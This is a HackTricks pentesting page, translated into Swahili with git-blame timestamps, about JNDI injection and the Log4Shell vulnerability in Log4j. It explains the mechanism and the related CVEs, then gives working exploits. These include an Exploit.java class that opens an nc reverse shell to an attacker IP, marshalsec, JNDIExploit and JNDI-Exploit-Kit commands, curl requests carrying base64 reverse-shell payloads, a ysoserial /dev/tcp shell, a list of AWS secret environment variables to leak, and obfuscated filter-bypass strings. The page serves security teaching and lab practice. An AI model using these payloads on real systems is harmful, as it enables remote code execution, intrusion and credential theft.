hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

473 lines
32 KiB
Markdown
Raw Normal View History

2022-05-17 22:16:42 +00:00
# JNDI - Java Naming and Directory Interface & Log4Shell
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 14:45:32 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
2021-12-24 01:52:37 +00:00
JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.
### Kumbukumbu ya Jina la JNDI
2021-12-24 01:52:37 +00:00
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Majina ya JNDI, ambayo huja katika aina mbili:
2021-12-24 01:52:37 +00:00
* **Anwani za Marejeleo**: Inabainisha eneo la kitu (k.m., _rmi://server/ref_), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
* **Kiwanda cha Mbali**: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka eneo la mbali.
2021-12-24 01:52:37 +00:00
Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha kupakia na kutekeleza kanuni za aina yoyote. Kama kinga:
2021-12-26 17:34:46 +00:00
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `kweli`, utekelezaji wa kanuni za mbali unawezekana bila usimamizi wa Meneja wa Usalama.
* **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
2021-12-26 17:34:46 +00:00
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu upatikanaji wa vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha kupakia vitu vya Java visivyohusika au kutumia vipengele vilivyopo vya programu (vifaa) kutekeleza kanuni mbaya.
2021-12-26 17:34:46 +00:00
Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:
2021-12-26 17:34:46 +00:00
* _rmi://attacker-server/bar_
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
2021-12-26 17:34:46 +00:00
Licha ya kinga, mapungufu yanaendelea, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo.
2021-12-26 17:34:46 +00:00
2024-02-11 02:13:58 +00:00
### Mfano wa JNDI
2021-12-26 17:34:46 +00:00
![](<../../.gitbook/assets/image (1019).png>)
2021-12-26 17:34:46 +00:00
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("<attacker-controlled-url>")` na hilo ndilo ambalo muhusika atatumia kudownload vitu vya aina yoyote kutoka kwenye mfumo anaodhibiti.
2021-12-26 17:34:46 +00:00
### Muhtasari wa CORBA
2021-12-26 17:34:46 +00:00
CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia **Kumbukumbu ya Vitu Inayoweza Kuingiliana (IOR)** kutambua vitu vya mbali kwa kipekee. Kumbukumbu hii inajumuisha habari muhimu kama:
2021-12-26 17:34:46 +00:00
* **Kitambulisho cha Aina**: Kitambulisho cha kipekee kwa kiolesura.
* **Codebase**: URL ya kupata darasa la stub.
2021-12-26 17:34:46 +00:00
Kwa kawaida, CORBA haiko hatarini. Kuhakikisha usalama kawaida kunahusisha:
2021-12-26 17:34:46 +00:00
* Usanidi wa **Meneja wa Usalama**.
* Usanidi wa Meneja wa Usalama kuruhusu uhusiano kwa vituo vya kanuni vinavyoweza kuwa na nia mbaya. Hii inaweza kufikiwa kupitia:
* Ruhusa ya Soketi, k.m., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Ruhusa ya kusoma faili, iwe kwa ujumla (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa.
2021-12-26 17:34:46 +00:00
Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyepesi na kuruhusu uhusiano huu kwa chaguo-msingi.
2024-02-06 14:12:47 +00:00
### Muktadha wa RMI
2024-02-06 14:12:47 +00:00
Kwa RMI (Mwito wa Mbali wa Mbinu), hali ni tofauti kidogo. Kama ilivyo na CORBA, kupakua darasa la aina yoyote kwa kawaida kunazuiliwa kwa chaguo-msingi. Kudukua RMI, mtu kwa kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA.
2021-12-26 17:34:46 +00:00
2022-05-17 22:16:42 +00:00
### LDAP
2021-12-26 17:34:46 +00:00
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kupata kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
**Utafutaji** unalenga **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.
Ikiwa utafutaji wa LDAP uliitwa na **SearchControls.setReturningObjFlag() na `kweli`, basi kitu kilichorudiwa kitajengwa upya**.
Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.\
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kuingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kuambukiza mashine kumi** ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell).
#### Shambulio la Deserializesheni
![](<../../.gitbook/assets/image (272).png>)
**Shambulio limeorodheshwa** na litadeserializwa.\
Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vifaa katika njia ya darasa.
2021-12-26 17:34:46 +00:00
#### Shambulio la Kumbukumbu ya JNDI
2021-12-26 17:34:46 +00:00
Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**:
2021-12-26 17:34:46 +00:00
![](<../../.gitbook/assets/image (1056).png>)
2021-12-26 17:34:46 +00:00
## Udhaifu wa Log4Shell
2021-12-26 17:34:46 +00:00
Udhaifu unazuka katika Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika fomu ya `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` linapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java.
2021-12-26 17:34:46 +00:00
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilileta kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vitu kupitia JNDI. Kwa kawaida, ufunguo unapewa kiotomatiki kifungwa na `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungwa cha chaguo-msingi hakihusishwi.
2021-12-26 17:34:46 +00:00
Kwa kuwa kuna **: kwenye ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungwa na **seva ya LDAP inaulizwa kwa kitu**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza** na data ambayo mwandishi ameonyesha.
## Muhtasari wa CVEs Zinazohusiana na Log4Shell
2021-12-26 17:34:46 +00:00
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kali]**
Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu ya `log4j-core`, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa nambari kwa mbali (RCE)**, ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana ([Sheria 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Sheria 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kali]**
Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Tweets](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kuzidi. Shida imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Kali]**
Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi inayotumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`.
2021-12-26 17:34:46 +00:00
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Wastani]**
2021-12-24 01:52:37 +00:00
Udhaifu huu unaathiri **mfumo wa kuingiza Logback**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo uligunduliwa kuwa na udhaifu, na toleo jipya (1.3.0-alpha11 na 1.2.9) zimetolewa kushughulikia shida hiyo.
2021-12-24 01:52:37 +00:00
### **CVE-2021-45105** **\[Kali]**
2021-12-24 01:52:37 +00:00
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` kusahihisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer [hapa](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
2024-02-06 14:12:47 +00:00
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za uwezekano kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho la blogi la Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
2021-12-24 01:52:37 +00:00
## Uchunguzi wa Utekaji wa Log4Shell
2021-12-24 01:52:37 +00:00
2024-02-11 02:13:58 +00:00
### Ugunduzi
2021-12-24 01:52:37 +00:00
Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau **ombi la DNS** kwa anwani unayotaja katika mzigo wako. Kwa hivyo, mizigo kama:
2021-12-24 01:52:37 +00:00
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (ikitumia [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (ikitumia [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (ikitumia Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (ikitumia [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (ikitumia [huntress](https://log4shell.huntress.com))
2021-12-24 01:52:37 +00:00
Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi kuwa programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji kujaribu kuitumia.
2021-12-24 01:52:37 +00:00
{% hint style="info" %}
Kumbuka kwamba kwa **kutumia toleo 2.15** unahitaji kuongeza **kizuizi cha ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}
2021-12-24 01:52:37 +00:00
{% endhint %}
#### **Ugunduzi wa Kienyeji**
2021-12-24 07:57:58 +00:00
Tafuta **matoleo hatarishi ya ndani** ya maktaba kwa:
2021-12-24 07:57:58 +00:00
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
2024-02-11 02:13:58 +00:00
### **Uhakiki**
2021-12-24 07:57:58 +00:00
Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika. Hii inaweza kuwa muhimu sana kwa mambo 2:
2021-12-24 01:52:37 +00:00
* Kwa **kuthibitisha** udhaifu
* Kwa **kuvuja kwa habari** kwa kutumia udhaifu
2021-12-24 01:52:37 +00:00
Kwa mfano, unaweza kuomba kitu kama:\
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya mazingira**, unajua programu ina udhaifu.
2021-12-24 01:52:37 +00:00
Maelezo mengine unaweza kujaribu **kuvuja**:
2021-12-26 01:35:57 +00:00
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
```
2024-02-11 02:13:58 +00:00
### Taarifa za RCE
2021-12-26 01:35:57 +00:00
{% hint style="info" %}
Mashine zinazoendesha kwenye toleo la JDK zaidi ya 6u141, 7u131, au 8u121 zimekingwa dhidi ya vector ya shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Walakini, ni muhimu kuzingatia kwamba toleo hizi **hazilindwi dhidi ya vector ya shambulio la deserialization**.
2024-02-06 14:12:47 +00:00
Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kubahatisha** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa madhumuni haya. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.
2021-12-26 01:35:57 +00:00
Kwa **taarifa zaidi** (_kama vizuizi kwenye vectors vya RMI na CORBA_) **angalia sehemu iliyopita ya Marejeleo ya Jina la JNDI** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
2021-12-26 01:35:57 +00:00
{% endhint %}
2024-02-11 02:13:58 +00:00
### RCE - Marshalsec na mzigo wa desturi
2021-12-26 01:35:57 +00:00
Unaweza kujaribu hii kwenye **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
2021-12-26 01:35:57 +00:00
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linapatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
2021-12-26 01:35:57 +00:00
```
Ili kumshawishi lengo kuchukua msimbo wa kitanzi cha nyuma, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini:
2021-12-26 01:35:57 +00:00
```java
public class Exploit {
2024-02-11 02:13:58 +00:00
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
2021-12-26 01:35:57 +00:00
}
```
Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha anzisha **server ya HTTP** katika saraka inayohifadhi faili ya darasa kwa kutumia: `python3 -m http.server`. Hakikisha **server ya LDAP ya marshalsec** inahusisha server ya HTTP hii.
2021-12-26 01:35:57 +00:00
Chochote kile kinachofanana na:
2021-12-26 01:35:57 +00:00
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Maelezo:** Kudukuzi huu unategemea usanidi wa Java kuruhusu mzigo wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililothibitishwa kwa utekelezaji wa msimbo wa kupendelea.
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### RCE - **JNDIExploit**
2021-12-25 01:37:23 +00:00
{% hint style="info" %}
Tafadhali kumbuka kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa kwa [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti kudukua kasoro hii.
2021-12-25 01:37:23 +00:00
Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza.
2021-12-25 01:37:23 +00:00
{% endhint %}
Kwa mfano huu unaweza tu kukimbia **seva dhaifu ya wavuti kwa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_kwenye README utapata jinsi ya kuikimbia_). Programu hii dhaifu inalogi na toleo dhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_.
2021-12-25 01:37:23 +00:00
Kisha, unaweza kupakua faili ya jar ya **JNDIExploit** na kuitekeleza kwa:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
2021-12-25 01:37:23 +00:00
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Baada ya kusoma nambari kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.\
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zitakuwa **zinazalisha mashambulizi**.
2021-12-25 01:37:23 +00:00
Unaweza kuona mashambulizi yote yanayopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya mashambulizi yanayoweza kusaidia ni:
2021-12-25 01:37:23 +00:00
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
Kwa hivyo, katika mfano wetu, tayari tuna programu hiyo inayoweza kudukuliwa ya docker ikifanya kazi. Ili kuishambulia:
2021-12-25 01:37:23 +00:00
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Uponyesho wa mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**.
2021-12-25 01:37:23 +00:00
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchimbaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.**
2021-12-25 01:37:23 +00:00
2022-05-17 22:16:42 +00:00
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
2021-12-25 01:37:23 +00:00
Kwa njia kama ile ya shambulizi lililopita, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchimba udhaifu huu.\
Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia:
2021-12-25 01:37:23 +00:00
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Ataaki hii kutumia kitu cha java kilichotengenezwa kwa kawaida itafanya kazi katika maabara kama **chumba cha jua cha THM**. Hata hivyo, kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haichukulii darasa lililoaminika kutekeleza kanuni za kupindukia._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kutengeneza **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP, na seva ya HTTP.\
2021-12-25 01:37:23 +00:00
2022-05-17 22:16:42 +00:00
### RCE - ysoserial & JNDI-Exploit-Kit
2021-12-25 01:37:23 +00:00
Chaguo hili ni muhimu sana kushambulia **toleo za Java zilizoandaliwa kuamini darasa maalum na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **uwekaji wa darasa za kuaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza kanuni za kupindukia** (_darasa lililoaminika lililochukuliwa faida na ysoserial lazima litumiwe na programu ya java ya mwathiriwa ili shambulio lifanye kazi_).
2021-12-24 01:52:37 +00:00
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la uwekaji wa deserialization ambalo litapakuliwa na JNDI:
2021-12-24 01:52:37 +00:00
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumikia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization binafsi** (iliyozalishwa na wewe au ysoserial).
2021-12-24 01:52:37 +00:00
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../.gitbook/assets/image (1115).png>)
2021-12-24 01:52:37 +00:00
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kuchexploitisha udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
2021-12-24 01:52:37 +00:00
### Kupitisha mfumo
2021-12-24 01:52:37 +00:00
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
2021-12-26 01:35:57 +00:00
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
2021-12-24 01:52:37 +00:00
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Skaneti za Kiotomatiki
2021-12-24 01:52:37 +00:00
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
